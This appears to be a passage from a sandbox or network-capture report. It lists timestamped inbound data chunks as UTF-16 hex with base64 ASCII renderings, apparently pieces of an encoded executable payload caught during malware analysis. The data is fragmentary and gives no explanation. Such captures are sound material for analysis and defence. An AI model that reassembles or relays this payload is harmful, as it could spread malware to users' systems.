Data Ascii: XRmhRb3ZBQUFDcUlvdlFBQUNpaStBQUFLZ0FZQkFBUitCZ0VBQkh1L0FBQUtmZ1lCQUFRbzBnQUFCb
S9BQUFBS2I4RUFBQW9vdXdFQUJpcEdCQ2pDQUFBS2I4TUFBQW

2021-11-09 21:22:01 UTC 1404 IN Data Raw: 55 00 31 00 33 00 5a 00 30 00 4e 00 42 00 64 00 31 00 46 00 76 00 56 00 30 00 46 00 42 00 51 00 55 00 4a 
00 6f 00 61 00 33 00 70 00 43 00 62 00 6b 00 39 00 79 00 51 00 55 00 46 00 42 00 53 00 32 00 56 00 70 00 62 00 30 00 
46 00 42 00 51 00 55 00 56 00 6a 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 43 00 52 00 55 00 46 00 49 00 51 00 7a 
00 42 00 42 00 52 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 52 00 56 00 6c 00 42 00 53 00 
45 00 64 00 4a 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 57 00 6c 00 71 00 5a 
00 55 00 46 00 42 00 51 00 55 00 64 00 69 00 65 00 6e 00 4e 00 42 00 51 00 55 00 46 00 5a 00 62 00 45 00 64 00 45 00 
54 00 55 00 6c 00 42 00 5a 00 30 00 31 00 46 00 53 00 30 00 5a 00 72 00 51 
Data Ascii: U13Z0NBd1FvV0FBQUJoa3pCbk9yQUFBS2Vpb0FBQUVjQUFBQ0FCRUFIQzBBRGdBQUFBQUNBRVlBSEd
JQURnQUFBQUNHQWlqZUFBQUdienNBQUFZbEdETUlBZ01FS0ZrQ

2021-11-09 21:22:01 UTC 1408 IN Data Raw: 00 51 00 55 00 64 00 6a 00 4e 00 45 00 56 00 42 00 51 00 55 00 46 00 68 00 61 00 55 00 74 00 4a 00 5a 00 
30 00 46 00 42 00 51 00 56 00 6c 00 48 00 59 00 7a 00 5a 00 52 00 51 00 55 00 46 00 42 00 63 00 44 00 6c 00 44 00 51 
00 55 00 56 00 42 00 51 00 6b 00 4e 00 70 00 52 00 6b 00 46 00 42 00 51 00 55 00 64 00 43 00 64 00 6a 00 52 00 48 00 
51 00 6d 00 64 00 4a 00 51 00 55 00 4a 00 75 00 54 00 32 00 78 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 4a 00 42 
00 51 00 55 00 46 00 44 00 63 00 32 00 39 00 46 00 55 00 55 00 46 00 42 00 53 00 33 00 6c 00 70 00 52 00 30 00 46 00 
42 00 51 00 55 00 64 00 4c 00 53 00 57 00 4e 00 42 00 51 00 55 00 46 00 5a 00 52 00 79 00 39 00 6e 00 57 00 55 00 68 
00 42 00 5a 00 30 00 46 00 48 00 59 00 7a 00 5a 00 56 00 51 00 55 00 46 00 
Data Ascii: QUdjNEVBQUFhaUtJZ0FBQVlHYzZRQUFBcDlDQUVBQkNpRkFBQUdCdjRHQmdJQUJuT2xBQUFLS0JBQU
FDc29FUUFBS3lpR0FBQUdLSWNBQUFZRy9nWUhBZ0FHYzZVQUF

2021-11-09 21:22:01 UTC 1412 IN Data Raw: 4a 00 4b 00 5a 00 45 00 4e 00 6d 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 
00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 74 00 4b 00 30 00 39 00 42 00 55 00 55 00 46 00 
48 00 52 00 56 00 46 00 52 00 57 00 47 00 49 00 31 00 53 00 55 00 4a 00 42 00 51 00 56 00 6c 00 53 00 51 00 6b 00 4e 
00 71 00 62 00 45 00 46 00 42 00 51 00 55 00 64 00 69 00 4e 00 55 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 
4a 00 48 00 4c 00 30 00 64 00 42 00 51 00 55 00 46 00 4c 00 51 00 6b 00 4e 00 70 00 4f 00 45 00 46 00 52 00 51 00 55 
00 64 00 43 00 62 00 54 00 6b 00 78 00 51 00 56 00 46 00 42 00 52 00 30 00 74 00 6e 00 51 00 55 00 46 00 42 00 55 00 
6e 00 64 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 56 00 52 00 51 00 57 
Data Ascii: JKZENmQUFBRUtEY0FBQXB6T0FBQUNtK09BUUFHRVFRWGI1SUJBQVlSQkNqbEFBQUdiNU
FCQUFZUkJHL0dBQUFLQkNpOEFRQUdCbTkxQVFBR0tnQUFBUndBQUFJQUVRQW

2021-11-09 21:22:01 UTC 1416 IN Data Raw: 00 55 00 46 00 42 00 51 00 6d 00 30 00 76 00 54 00 6b 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 31 00 
45 00 30 00 62 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 52 00 55 00 56 00 69 00 4f 00 44 00 52 00 42 00 51 00 55 
00 46 00 76 00 56 00 45 00 4a 00 53 00 52 00 55 00 5a 00 69 00 4b 00 7a 00 68 00 42 00 51 00 55 00 46 00 61 00 65 00 
6c 00 70 00 42 00 51 00 55 00 46 00 44 00 61 00 45 00 56 00 47 00 59 00 69 00 39 00 46 00 51 00 55 00 46 00 42 00 57 
00 56 00 4a 00 43 00 56 00 79 00 39 00 36 00 51 00 55 00 46 00 42 00 52 00 30 00 78 00 52 00 54 00 56 00 64 00 4c 00 
64 00 30 00 56 00 59 00 53 00 30 00 30 00 34 00 51 00 55 00 46 00 42 00 62 00 31 00 52 00 43 00 61 00 46 00 6c 00 55 
00 51 00 6e 00 6c 00 30 00 56 00 30 00 56 00 52 00 57 00 56 00 4a 00 43 00 
Data Ascii: UFBQm0vTkFBQUtFd1E0bUFBQUFCRUViODRBQUFvVEJSRUZiKzhBQUFaelpBQUFDaEVGYi9FQUFBWVJ
CVy96QUFBR0xRTVdLd0VYS004QUFBb1RCaFlUQnl0V0VRWVJC

2021-11-09 21:22:01 UTC 1420 IN Data Raw: 42 00 51 00 55 00 46 00 46 00 62 00 45 00 5a 00 6f 00 4f 00 44 00 5a 00 75 00 55 00 31 00 56 00 59 00 53 00 
44 00 46 00 35 00 5a 00 47 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 46 00 70 00 52 00 6a 00 49 00 35 00 54 
00 30 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 7a 00 68 00 48 00 52 00 56 00 45 00 31 00 64 00 6b 00 70 00 42 00 
51 00 55 00 46 00 44 00 62 00 6b 00 39 00 6a 00 51 00 56 00 46 00 42 00 52 00 30 00 70 00 53 00 52 00 56 00 42 00 4d 
00 51 00 57 00 4e 00 53 00 52 00 44 00 51 00 31 00 63 00 45 00 5a 00 36 00 51 00 55 00 68 00 6d 00 61 00 44 00 52 00 
42 00 51 00 55 00 46 00 76 00 63 00 6b 00 4a 00 43 00 52 00 56 00 42 00 47 00 4e 00 58 00 42 00 32 00 63 00 45 00 46 
00 46 00 51 00 55 00 4a 00 70 00 56 00 56 00 4a 00 45 00 56 00 79 00 74 
Data Ascii: BQUFFbEZoODZuU1VYSDF5ZGN6Z0FBQXFpRjI5T0FBQUtFdzhHRVE1dkpBQUFDbk9jQVFBR0pSRVBMQ
WNSRDQ1cEZ6QUhmaDRBQUFvckJCRVBGNXB2cEFFQUJpVVJEVyt

2021-11-09 21:22:01 UTC 1424 IN Data Raw: 00 46 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 48 00 64 00 42 
00 51 00 55 00 4e 00 78 00 53 00 57 00 38 00 32 00 51 00 55 00 46 00 42 00 51 00 6d 00 30 00 76 00 5a 00 45 00 46 00 
42 00 51 00 55 00 74 00 43 00 65 00 44 00 68 00 6a 00 53 00 30 00 5a 00 4a 00 51 00 55 00 46 00 42 00 62 00 31 00 6c 
00 47 00 65 00 47 00 6c 00 4f 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 54 00 56 00 56 00 64 00 49 00 65 00 45 00 3
9 00 4f 00 56 00 32 00 64 00 42 00 51 00 55 00 46 00 54 00 57 00 46 00 45 00 78 00 51 00 55 00 46 00 42 00 51 00 6b 00 
4e 00 6e 00 4d 00 30 00 46 00 42 00 51 00 55 00 74 00 6a 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 77 00 65 00 57 
00 6c 00 6e 00 5a 00 30 00 46 00 6a 00 53 00 44 00 52 00 6c 00 51 00 
Data Ascii: FCd2ZoNEFBQW9vSHdBQUNxSW82QUFBQm0vZEFBQUtCeDhjS0ZJQUFBb1lGeGlOV0FBQUFTVVdIeE9O
V2dBQUFTWFExQUFBQkNnM0FBQUtjemdBQUFweWlnZ0FjSDRlQ

2021-11-09 21:22:01 UTC 1428 IN Data Raw: 65 00 58 00 46 00 42 00 5a 00 30 00 46 00 6a 00 53 00 30 00 6c 00 73 00 52 00 30 00 4a 00 46 00 52 00 32 
00 39 00 70 00 56 00 56 00 70 00 6a 00 63 00 57 00 64 00 4a 00 51 00 55 00 68 00 44 00 61 00 55 00 70 00 53 00 62 00 
31 00 4e 00 44 00 55 00 32 00 70 00 74 00 51 00 55 00 46 00 42 00 53 00 32 00 39 00 70 00 61 00 6d 00 35 00 42 00 51 
00 55 00 46 00 4c 00 59 00 69 00 73 00 30 00 51 00 55 00 46 00 42 00 57 00 56 00 4a 00 44 00 61 00 46 00 70 00 32 00 
4f 00 55 00 46 00 42 00 51 00 55 00 4a 00 6f 00 52 00 55 00 74 00 46 00 55 00 56 00 46 00 6d 00 52 00 30 00 6b 00 78 
00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 52 00 30 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 
45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 
Data Ascii: eXFBZ0FjS0lsR0JFR29pVVpjcWdJQUhDaUpSb1NDU2ptQUFBS29pam5BQUFLYis0QUFBWVJDaFp2OU
FBQUJoRUtFUVFmR0kxYUFBQUJKZER0QUFBRUtEY0FBQXB6T0FB

2021-11-09 21:22:01 UTC 1432 IN Data Raw: 00 5a 00 4e 00 58 00 42 00 4e 00 63 00 45 00 68 00 6c 00 51 00 58 00 6c 00 69 00 5a 00 55 00 46 00 42 00 57 
00 58 00 46 00 42 00 52 00 55 00 5a 00 4e 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 55 00 
55 00 55 00 46 00 42 00 51 00 55 00 4a 00 76 00 51 00 6b 00 46 00 42 00 51 00 6d 00 35 00 42 00 55 00 55 00 46 00 42 
00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 44 00 51 00 55 00 46 00 4
2 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 47 00 64 00 43 00 51 00 55 00 46 00 43 00 4e 00 45 00 46 
00 52 00 51 00 55 00 46 00 45 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 
46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 42 00 51 00 55 00 
Data Ascii: ZNXBNcEhlQXliZUFBWXFBRUZNQUFBQUFBQUFUUUFBQUJvQkFBQm5BUUFBQXdBQUFBOEF
BQUVDQUFBQVFBQUFBRGdCQUFCNEFRQUFEZ0FBQUFBQUFBQUFBQUFBQmdBQU
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2021-11-09 21:22:01 UTC 1436 IN Data Raw: 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 59 00 34 00 51 00 55 00 46 
00 42 00 62 00 32 00 39 00 50 00 55 00 55 00 46 00 42 00 51 00 32 00 30 00 76 00 64 00 30 00 46 00 42 00 51 00 55 00 
64 00 43 00 4d 00 30 00 70 00 4c 00 51 00 31 00 46 00 43 00 64 00 30 00 74 00 43 00 5a 00 30 00 46 00 42 00 51 00 33 
00 4e 00 76 00 52 00 31 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 59 00 
69 00 39 00 4a 00 51 00 55 00 46 00 42 00 57 00 55 00 68 00 47 00 62 00 53 00 38 00 77 00 51 00 55 00 46 00 42 00 52 
00 30 00 49 00 79 00 4c 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 
51 00 55 00 64 00 4c 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 46 00 55 
Data Ascii: UNuTTRBQUFLS0Y4QUFBb29PUUFBQ20vd0FBQUdCM0pLQ1FCd0tCZ0FBQ3NvR1FBQUszTTRBQUFLYi9
JQUFBWUhGbS8wQUFBR0IyL2ZBQUFLM2dNbTNnQUdLZ0FBQUFFU

2021-11-09 21:22:01 UTC 1440 IN Data Raw: 00 4f 00 45 00 31 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 51 00 53 00 55 
00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 
55 00 46 00 4c 00 53 00 30 00 63 00 30 00 51 00 55 00 46 00 42 00 62 00 30 00 4e 00 6c 00 65 00 45 00 46 00 42 00 51 
00 55 00 46 00 52 00 55 00 6b 00 4a 00 6f 00 52 00 55 00 70 00 58 00 51 00 6b 00 56 00 50 00 59 00 57 00 78 00 6f 00 6
3 00 45 00 56 00 52 00 62 00 31 00 4a 00 45 00 4e 00 44 00 68 00 31 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 35 
00 55 00 55 00 46 00 42 00 51 00 56 00 4a 00 77 00 59 00 69 00 39 00 4a 00 51 00 55 00 46 00 42 00 63 00 57 00 6c 00 
50 00 52 00 45 00 56 00 43 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 
Data Ascii: OE1qVm9BQUFFbDBQSUFBQVFvTndBQUNuTTRBQUFLS0c0QUFBb0NleEFBQUFRUkJoRUpX
QkVPYWxocEVRb1JENDh1QUFBQ2V5UUFBQVJwYi9JQUFBcWlPREVCQUFBQ2V

2021-11-09 21:22:01 UTC 1444 IN Data Raw: 6c 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00 50 
00 51 00 55 00 46 00 42 00 51 00 32 00 6c 00 6f 00 64 00 55 00 46 00 42 00 51 00 55 00 74 00 42 00 62 00 6e 00 4e 00 
52 00 51 00 55 00 46 00 42 00 52 00 55 00 56 00 52 00 62 00 31 00 4a 00 45 00 56 00 6d 00 64 00 53 00 52 00 47 00 68 
00 68 00 56 00 31 00 64 00 48 00 61 00 31 00 4a 00 45 00 61 00 47 00 56 00 58 00 59 00 56 00 63 00 76 00 65 00 55 00 
46 00 42 00 51 00 55 00 74 00 6d 00 55 00 31 00 6c 00 42 00 51 00 55 00 46 00 52 00 4e 00 47 00 64 00 42 00 51 00 55 
00 46 00 42 00 51 00 55 00 6f 00 33 00 52 00 48 00 64 00 42 00 51 00 55 00 4a 00 43 00 61 00 48 00 46 00 4e 00 65 00 
6d 00 4e 00 44 00 5a 00 58 00 68 00 4e 00 51 00 55 00 46 00 42 00 55 00 55 
Data Ascii: lBQUFFS0RjQUFBcHpPQUFBQ2lodUFBQUtBbnNRQUFBRUVRb1JEVmdSRGhhV1dHa1JEaGVXYVcveUFB
QUtmU1lBQUFRNGdBQUFBQUo3RHdBQUJCaHFNemNDZXhNQUFBUU

2021-11-09 21:22:01 UTC 1448 IN Data Raw: 00 33 00 64 00 59 00 52 00 46 00 49 00 77 00 56 00 45 00 4a 00 43 00 57 00 56 00 52 00 43 00 55 00 57 00 
64 00 7a 00 52 00 6c 00 46 00 5a 00 56 00 30 00 46 00 75 00 63 00 31 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 6b 
00 4a 00 6b 00 57 00 6d 00 74 00 61 00 64 00 30 00 56 00 47 00 4d 00 57 00 74 00 52 00 51 00 57 00 68 00 6a 00 56 00 
45 00 4a 00 52 00 55 00 56 00 68 00 58 00 55 00 6b 00 31 00 48 00 53 00 7a 00 4e 00 52 00 55 00 6b 00 4a 00 6f 00 5a 
00 46 00 70 00 42 00 65 00 6b 00 70 00 46 00 51 00 6d 00 68 00 46 00 52 00 6b 00 46 00 75 00 63 00 31 00 46 00 42 00 
51 00 55 00 46 00 46 00 52 00 56 00 46 00 68 00 55 00 6b 00 4e 00 53 00 5a 00 46 00 70 00 49 00 65 00 44 00 6c 00 6d 
00 57 00 58 00 6c 00 45 00 4c 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 
Data Ascii: 3dYRFIwVEJCWVRCUWdzRlFZV0Fuc1FBQUFFQkJkWmtad0VGMWtRQWhjVEJRUVhXUk1HSzNRUkJoZFp
BekpFQmhFRkFuc1FBQUFFRVFhUkNSZFpIeDlmWXlEL0FBQUFD

2021-11-09 21:22:01 UTC 1452 IN Data Raw: 42 00 51 00 55 00 46 00 79 00 59 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 46 00 58 00 61 
00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 58 00 46 00 44 00 51 00 32 00 39 00 42 00 51 00 55 00 46 00 42 00 
51 00 6b 00 74 00 42 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 71 00 51 00 55 00 4a 00 52 00 4d 00 30 00 46 00 42 
00 62 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 64 00 42 00 55 00 30 00 46 00 44 00 4f 00 55 00 4a 00 
42 00 51 00 57 00 39 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 54 00 46 
00 4f 00 51 00 55 00 46 00 4e 00 53 00 30 00 46 00 42 00 51 00 55 00 4a 00 48 00 65 00 6b 00 46 00 46 00 51 00 55 00 
56 00 72 00 51 00 55 00 46 00 42 00 51 00 53 00 39 00 42 00 51 00 55 00 46 
Data Ascii: BQUFyYzNnTW0zZ0FXaldnQUFBRXFDQ29BQUFBQktBQUFBZ0FqQUJRM0FBb0FBQUFBQWd
BU0FDOUJBQW9BQUFBQUFBQUFBRTFOQUFNS0FBQUJHekFFQUVrQUFBQS9BQUF

2021-11-09 21:22:01 UTC 1456 IN Data Raw: 00 46 00 42 00 51 00 55 00 4e 00 75 00 4e 00 47 00 4a 00 42 00 55 00 55 00 46 00 46 00 54 00 46 00 4d 00 
34 00 56 00 32 00 4e 00 77 00 4f 00 45 00 78 00 42 00 53 00 45 00 52 00 52 00 53 00 6b 00 46 00 42 00 51 00 55 00 46 
00 70 00 61 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 52 00 6a 00 51 00 79 00 54 00 6b 00 46 00 42 00 51 00 55 00 
4a 00 4b 00 55 00 6c 00 6c 00 58 00 52 00 6b 00 4e 00 70 00 4f 00 45 00 46 00 42 00 51 00 55 00 74 00 76 00 61 00 57 
00 63 00 33 00 51 00 56 00 46 00 42 00 53 00 30 00 74 00 4d 00 4e 00 45 00 46 00 42 00 51 00 58 00 46 00 42 00 52 00 
33 00 64 00 46 00 51 00 55 00 4a 00 49 00 4e 00 47 00 4a 00 42 00 55 00 55 00 46 00 46 00 5a 00 54 00 63 00 34 00 51 
00 55 00 46 00 42 00 63 00 43 00 74 00 48 00 64 00 30 00 56 00 42 00 51 00 
Data Ascii: FBQUNuNGJBUUFFTFM4V2NwOExBSERRSkFBQUFpaTRBQUFLRjQyTkFBQUJKUllXRkNpOE
FBQUtvaWc3QVFBS0tMNEFBQXFBR3dFQUJINGJBUUFFZTc4QUFBcCtHd0VBQ

2021-11-09 21:22:01 UTC 1460 IN Data Raw: 51 00 55 00 4e 00 74 00 4f 00 58 00 64 00 42 00 55 00 55 00 46 00 4c 00 59 00 6a 00 4e 00 46 00 51 00 6b 00 
46 00 42 00 62 00 33 00 46 00 42 00 51 00 6e 00 4e 00 33 00 51 00 6c 00 46 00 44 00 4d 00 55 00 46 00 42 00 51 00 55 
00 46 00 54 00 5a 00 30 00 46 00 42 00 52 00 56 00 68 00 50 00 63 00 55 00 46 00 42 00 51 00 55 00 74 00 44 00 62 00 
6b 00 77 00 78 00 51 00 33 00 64 00 43 00 64 00 32 00 4e 00 30 00 53 00 55 00 31 00 42 00 53 00 45 00 49 00 72 00 53 
00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 59 00 7a 00 4e 00 4a 00 
51 00 6b 00 46 00 42 00 62 00 30 00 78 00 43 00 4d 00 6a 00 6c 00 36 00 51 00 56 00 46 00 42 00 53 00 30 00 52 00 42 
00 61 00 48 00 5a 00 6b 00 51 00 55 00 56 00 42 00 51 00 32 00 63 00 77 
Data Ascii: QUNtOXdBUUFLYjNFQkFBb3FBQnN3QlFDMUFBQUFTZ0FBRVhPcUFBQUtDbkwxQ3dCd2N0SU1BSEIrSG
dBQUNpZ2ZBQUFLYzNJQkFBb0xCMjl6QVFBS0RBaHZkQUVBQ2cw

2021-11-09 21:22:01 UTC 1464 IN Data Raw: 00 42 00 63 00 57 00 6c 00 4b 00 55 00 6d 00 64 00 6c 00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 
00 57 00 77 00 77 00 54 00 32 00 74 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 
62 00 6b 00 30 00 30 00 51 00 55 00 46 00 42 00 53 00 32 00 39 00 70 00 56 00 56 00 70 00 46 00 55 00 56 00 46 00 68 
00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 00 57 00 77 00 77 00 54 00 44 00 68 00 42 00 51 00 55 00 46 00 
52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 62 00 6b 00 30 00 30 00 51 00 55 00 46 00 42 00 53 00 32 00 49 
00 7a 00 57 00 55 00 4a 00 42 00 51 00 57 00 39 00 73 00 54 00 46 00 46 00 52 00 62 00 55 00 5a 00 44 00 63 00 30 00 
5a 00 69 00 4e 00 47 00 4e 00 42 00 51 00 55 00 46 00 78 00 61 00 55 00 
Data Ascii: BcWlKUmdlalZvQUFBRWwwT2tBQUFRb053QUFDbk00QUFBS29pVVpFUVFhalZvQUFBRWwwTDhBQUFRb
053QUFDbk00QUFBS2IzWUJBQW9sTFFRbUZDc0ZiNGNBQUFxaU

2021-11-09 21:22:01 UTC 1468 IN Data Raw: 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 30 00 35 00 4d 00 6b 00 46 
00 52 00 51 00 55 00 74 00 6b 00 56 00 6d 00 64 00 42 00 51 00 55 00 46 00 47 00 64 00 6a 00 42 00 52 00 51 00 55 00 
46 00 44 00 64 00 44 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 56 00 52 00 57 00 6e 00 5a 00 6c 00 51 00 55 
00 56 00 42 00 51 00 32 00 6b 00 79 00 56 00 6a 00 4e 00 6e 00 64 00 31 00 4a 00 43 00 61 00 58 00 64 00 49 00 52 00 
56 00 46 00 61 00 64 00 6b 00 4e 00 33 00 51 00 55 00 46 00 44 00 64 00 48 00 70 00 6c 00 52 00 45 00 4a 00 46 00 53 
00 30 00 78 00 42 00 59 00 31 00 4a 00 44 00 62 00 54 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 
4e 00 45 00 31 00 46 00 55 00 57 00 74 00 7a 00 51 00 6e 00 68 00 46 00 53 
Data Ascii: UFBcHpPQUFBQ205MkFRQUtkVmdBQUFGdjBRQUFDdDRESnQ0QUVRWnZlQUVBQ2kyVjNnd1JCaXdIRVF
adkN3QUFDdHplREJFS0xBY1JDbThMQUFBSzNONE1FUWtzQnhFS
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2021-11-09 21:22:01 UTC 1472 IN Data Raw: 00 57 00 57 00 74 00 42 00 5a 00 30 00 46 00 48 00 59 00 7a 00 52 00 6e 00 51 00 6b 00 46 00 42 00 62 00 
32 00 78 00 6e 00 51 00 30 00 31 00 43 00 51 00 55 00 46 00 52 00 62 00 30 00 74 00 52 00 51 00 55 00 46 00 4c 00 65 
00 57 00 64 00 54 00 51 00 55 00 46 00 42 00 63 00 6b 00 4d 00 35 00 4e 00 45 00 5a 00 4b 00 64 00 44 00 52 00 42 00 
51 00 6d 00 6c 00 76 00 53 00 45 00 74 00 6e 00 51 00 55 00 4a 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 
00 52 00 30 00 46 00 45 00 57 00 54 00 68 00 42 00 51 00 55 00 31 00 4c 00 51 00 55 00 46 00 42 00 51 00 6b 00 64 00 
36 00 51 00 55 00 5a 00 42 00 51 00 56 00 46 00 43 00 51 00 55 00 46 00 43 00 55 00 30 00 46 00 42 00 51 00 56 00 4a 
00 6a 00 63 00 7a 00 52 00 54 00 51 00 55 00 68 00 43 00 65 00 55 00 56 00 
Data Ascii: WWtBZ0FHYzRnQkFBb2xnQ01CQUFRb0tRQUFLeWdTQUFBckM5NEZKdDRBQmlvSEtnQUJF
QUFBQUFBR0FEWThBQU1LQUFBQkd6QUZBQVFCQUFCU0FBQVJjczRTQUhCeUV

2021-11-09 21:22:01 UTC 1476 IN Data Raw: 64 00 49 00 4d 00 58 00 6c 00 6b 00 52 00 6a 00 49 00 35 00 62 00 6b 00 46 00 42 00 51 00 55 00 74 00 44 00 
5a 00 31 00 6c 00 48 00 61 00 6d 00 31 00 72 00 57 00 56 00 64 00 61 00 62 00 32 00 5a 00 44 00 57 00 54 00 46 00 68 
00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 00 48 00 68 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 
6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 30 00 34 00 62 00 45 00 46 
00 42 00 51 00 55 00 74 00 4d 00 51 00 57 00 39 00 48 00 51 00 6d 00 38 00 31 00 63 00 45 00 59 00 78 00 62 00 57 00 
46 00 44 00 4f 00 54 00 52 00 4d 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 51 00 6e 00 6c 00 61 00 65 00 46 
00 46 00 42 00 59 00 30 00 4e 00 76 00 53 00 45 00 74 00 6e 00 51 00 55 
Data Ascii: dIMXlkRjI5bkFBQUtDZ1lHam1rWVdab2ZDWTFhQUFBQkpkRHhBQUFFS0RjQUFBcHpPQUFBQ204bEFB
QUtMQW9HQm81cEYxbWFDOTRMM2dNbTNnQnlaeFFBY0NvSEtnQU

2021-11-09 21:22:01 UTC 1480 IN Data Raw: 00 55 00 46 00 46 00 51 00 6c 00 4a 00 5a 00 51 00 32 00 55 00 77 00 59 00 30 00 46 00 42 00 51 00 56 00 46 
00 44 00 5a 00 54 00 42 00 6e 00 51 00 55 00 46 00 42 00 55 00 57 00 39 00 72 00 5a 00 30 00 56 00 42 00 51 00 32 00 
64 00 4a 00 52 00 6d 00 70 00 74 00 62 00 44 00 6c 00 54 00 5a 00 30 00 46 00 42 00 51 00 6b 00 46 00 4a 00 51 00 32 
00 55 00 77 00 62 00 30 00 46 00 42 00 51 00 56 00 46 00 76 00 5a 00 47 00 64 00 42 00 51 00 55 00 4e 00 75 00 4d 00 
55 00 70 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 64 00 42 00 51 00 55 00 56 00 36 00 51 00 55 00 4e 00 42 00 53 
00 46 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 62 00 6e 00 52 00 45 00 
51 00 55 00 46 00 42 00 52 00 57 00 5a 00 75 00 55 00 55 00 46 00 42 00 
Data Ascii: UFFQlJZQ2UwY0FBQVFDZTBnQUFBUW9rZ0VBQ2dJRmptbDlTZ0FBQkFJQ2Uwb0FBQVFvZGdBQUNuMUp
BQUFFS2dBQUV6QUNBSFVBQUFBQUFBQUFBbnREQUFBRWZuUUFB

2021-11-09 21:22:01 UTC 1484 IN Data Raw: 78 00 53 00 47 00 64 00 4a 00 62 00 31 00 6c 00 6e 00 51 00 55 00 46 00 44 00 61 00 57 00 39 00 6c 00 51 00 
57 00 35 00 31 00 54 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 55 00 6c 00 44 00 51 00 54 00 4d 00 79 00 54 
00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 44 00 52 00 44 00 5a 00 54 00 52 00 33 00 51 00 55 00 46 00 42 00 
55 00 58 00 46 00 4a 00 5a 00 30 00 6c 00 45 00 5a 00 6c 00 6c 00 33 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 49 0
0 5a 00 30 00 6f 00 33 00 61 00 6c 00 46 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 6c 00 42 00 5a 00 30 00 34 00 35 
00 61 00 6c 00 46 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 56 00 42 00 62 00 6e 00 56 00 50 00 51 00 55 00 46 00 
42 00 52 00 55 00 74 00 70 00 53 00 55 00 4e 00 42 00 4d 00 7a 00 4a 
Data Ascii: xSGdJb1lnQUFDaW9lQW51TEFBQUVLaUlDQTMyTEFBQUVLaDRDZTR3QUFBUXFJZ0lEZll3QUFBUXFIZ
0o3alFBQUJDb2lBZ045alFBQUJDb2VBbnVPQUFBRUtpSUNBMzJ

